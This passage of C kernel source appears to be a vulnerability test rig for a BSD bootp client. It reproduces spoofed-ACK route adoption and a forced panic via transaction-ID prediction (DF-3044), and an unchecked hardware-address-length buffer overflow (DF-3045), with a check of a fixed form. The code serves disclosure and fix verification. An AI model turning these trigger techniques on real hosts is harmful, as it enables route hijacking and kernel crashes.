"path=%s", df_rec_swappath); if (df_rec_route_adds && df_rec_gw == ATT_GW_BE) df_mark("DF3044: default route ADOPTED via attacker " "6.6.6.1 flags=0x%x", df_rec_route_flags); else df_mark("DF3044: default route NOT adopted (adds=%d)", df_rec_route_adds); df_mark("DF3044: client 1st xid_raw=%08x vs predicted %08x: %s", df_first_xid, htonl(df_pred_base + 1), df_first_xid == htonl(df_pred_base + 1) ? "MATCH" : "differ"); df_mark("DF3044: soreceive origin requested %d time(s), filled %d " "(bootp_subr.c:807 passes NULL name)", df_name_reqs, df_name_fills); df_restore_global_state(); } /* ---------------- DF-3045: unvalidated sdl_alen ----------------------- */ static void df_test3(int alen) { struct bootpc_globalcontext *gctx; struct bootpc_ifcontext *ifctx; int error, i; u_char *ch; gctx = kmalloc(sizeof(*gctx), M_TEMP, M_WAITOK | M_ZERO); gctx->xid = ~0xFFFF; /* mimic bootp_init:1538 */ gctx->starttime = time_uptime; /* mimic bootpc_init:1539 */ ifctx = allocifctx(gctx); /* VERBATIM: xid=0xFFFF0000 */ df_fake_ifnet(alen); ifctx->ifp = df_fake_ifp; strlcpy(ifctx->ireq.ifr_name, "fak0", sizeof(ifctx->ireq.ifr_name)); bootpc_fakeup_interface(ifctx, gctx, curthread); /* VERBATIM */ if (ifctx->sdl == df_fake_sdl) df_mark("DF3045: selection at :1046-1053 ACCEPTED " "IFT_ETHER sdl_alen=%d (>16, never checked)", alen); else { df_mark("DF3045: selection REJECTED sdl_alen=%d " "(fix effective)", alen); kfree(ifctx, M_TEMP); kfree(gctx, M_TEMP); df_fake_ifnet_free(); return; } bootpc_compose_query(ifctx, gctx, curthread); /* VERBATIM */ df_mark("DF3045: call.hlen=%d (call.hlen=sdl_alen at :1192)", ifctx->call.hlen); ch = ifctx->call.chaddr; kprintf("DF3045: call.chaddr[0..23] ="); for (i = 0; i < 24; i++) kprintf(" %02x", ch[i]); kprintf("\nDF3045: chaddr member is 16 bytes; chaddr[16] (== " "call.sname[0]) = %02x, expected MAC byte 0x%02x -> " "bcopy at :1197 overran chaddr[16] by %d byte(s)\n", ch[16], (u_char)(0x40 + 16), alen - 16); df_mark("DF3045: bcopy overran chaddr[16] by %d byte(s): " "call.sname[0]=%02x == MAC[16]=%02x", alen - 16, ch[16], (u_char)(0x40 + 16)); gctx->interfaces = ifctx; df_reset_script(); df_mode = DF_MODE_BLIND; df_from_port = 9999; bcopy(LLADDR(df_fake_sdl), df_cl_mac, alen); df_cl_hlen = alen; df_pred_base = 0xFFFF0000u; error = bootpc_call(gctx, curthread); /* VERBATIM matcher */ df_mark("DF3045: matcher bcmp len=%d (%d byte(s) past chaddr[15] " "read on BOTH sides), bootpc_call error=%d", (int)df_bcmp_last_n, (int)df_bcmp_last_n - 16, error); kfree(gctx, M_TEMP); kfree(ifctx, M_TEMP); df_fake_ifnet_free(); } /* ---------------- DF-3044 panic manifestation ------------------------- */ static void df_test4(void) { df_save_global_state(); df_reset_script(); df_mode = DF_MODE_BLIND; df_from_port = 9999; df_badmask = 1; df_predict(); kprintf("dfrig12: DF3044 T4: predicted-XID ACK with " "TAG_SUBNETMASK len=3 from 6.6.6.6:9999 -> expect verbatim " "panic 'bootpc: subnet mask len is 3' " "(bootp_subr.c:1390)\n"); bootpc_init(); /* VERBATIM: panics inside */ kprintf("dfrig12: DF3044 T4: returned WITHOUT panic?!\n"); } /* ---------------- DF-3045 hexncpy call-form primitive ------------------ */ static volatile struct { u_char pre[32]; u_char hexstr[64]; u_char post[256]; } df5; static void df5_fill(void) { int i; for (i = 0; i < 32; i++) df5.pre[i] = 0xAA; for (i = 0; i < 64; i++) df5.hexstr[i] = 0; for (i = 0; i < 256; i++) df5.post[i] = 0xBB; } static char * df5_buf(volatile u_char *p) { return (char *)(uintptr_t)p; } static int df5_smashed(int *first, int *last) { int i, n = 0; *first = *last = -1; for (i = 0; i < 256; i++) { if (df5.post[i] != 0xBB) { if (*first < 0) *first = i; *last = i; n++; } } return n; } static void df_test5(void) { struct sockaddr_dl *sdl; int n, first, last; sdl = kmalloc(sizeof(*sdl) + 256, M_TEMP, M_WAITOK | M_ZERO); sdl->sdl_family = AF_LINK; sdl->sdl_type = IFT_ETHER; sdl->sdl_alen = 22; { int i; for (i = 0; i < 256; i++) LLADDR(sdl)[i] = i; } /* phase A: minimum triggering alen (22) -- as-shipped call form */ df5_fill(); sdl->sdl_alen = 22; hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr), HEX_NCPYLEN(sdl->sdl_alen), ":"); n = df5_smashed(&first, &last); df_mark("DF3045 T5a: as-shipped form alen=22: HEX_NCPYLEN=66 into " "64-byte buffer: %d byte(s) past end (offsets %d..%d), " "pre intact=%d", n, first, last, df5.pre[0] == 0xAA); /* phase B: alen=106, still fully inside the post canary */ df5_fill(); sdl->sdl_alen = 106; hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr), HEX_NCPYLEN(sdl->sdl_alen), ":"); n = df5_smashed(&first, &last); df_mark("DF3045 T5b: alen=106: footprint=318: %d smashed bytes " "(offsets %d..%d), next intact post[%d]=0x%02x " "(scaling: alen=255 -> 701 bytes past end)", n, first, last, last + 1, df5.post[last + 1]); /* phase C: fixed call form -- bound by sizeof(hexstr) */ df5_fill(); sdl->sdl_alen = 106; hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr), sizeof(df5.hexstr), ":"); n = df5_smashed(&first, &last); df_mark("DF3045 T5c: fixed form (outlen=sizeof(hexstr)=64): %d " "smashed byte(s) past end (expected 0), pre intact=%d", n, df5.pre[0] == 0xAA); kfree(sdl, M_TEMP); } /* ---------------- DF-3045 in-situ full magnitude ---------------------- */ static void df_test50(void) { kprintf("dfrig12: DF3045 T50: in-situ bootpc_call with sdl_alen=255: " "hexncpy at :718-720 writes 765 bytes from hexstr[64] inside " "bootpc_call's own frame -> expect fatal trap\n"); df_test3(255); kprintf("dfrig12: DF3045 T50: SURVIVED bootpc_call (unexpected; " "see T5 canary measurement)\n"); } /* ---------------- sysctl dispatch -------------------------------------- */ static int sysctl_df_test(SYSCTL_HANDLER_ARGS) { int t, error; t = df_testno; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return error; df_testno = t; df_status[0] = '\0'; kprintf("dfrig12: === test %d begin ===\n", t); switch (t) { case 1: df_test1(); break; case 2: df_test2(DF_MODE_BLIND, 9999); break; case 20: df_test2(DF_MODE_WRONGXID, 9999); break; case 21: df_test2(DF_MODE_SNIFF, 9999); break; case 22: df_test2(DF_MODE_SNIFF, 67); break; case 3: df_test3(17); break; case 4: df_test4(); break; case 5: df_test5(); break; case 50: df_test50(); break; default: strlcpy(df_status, "unknown test", sizeof(df_status)); break; } kprintf("dfrig12: === test %d end ===\n", t); return 0; } SYSCTL_PROC(_kern, OID_AUTO, dfrig12, CTLTYPE_INT | CTLFLAG_RW, &df_testno, 0, sysctl_df_test, "I", "DF rig 12 (bootp) test selector"); SYSCTL_STRING(_kern, OID_AUTO, dfrig12_status, CTLFLAG_RD, df_status, 0, "DF rig 12 last-test status markers"); |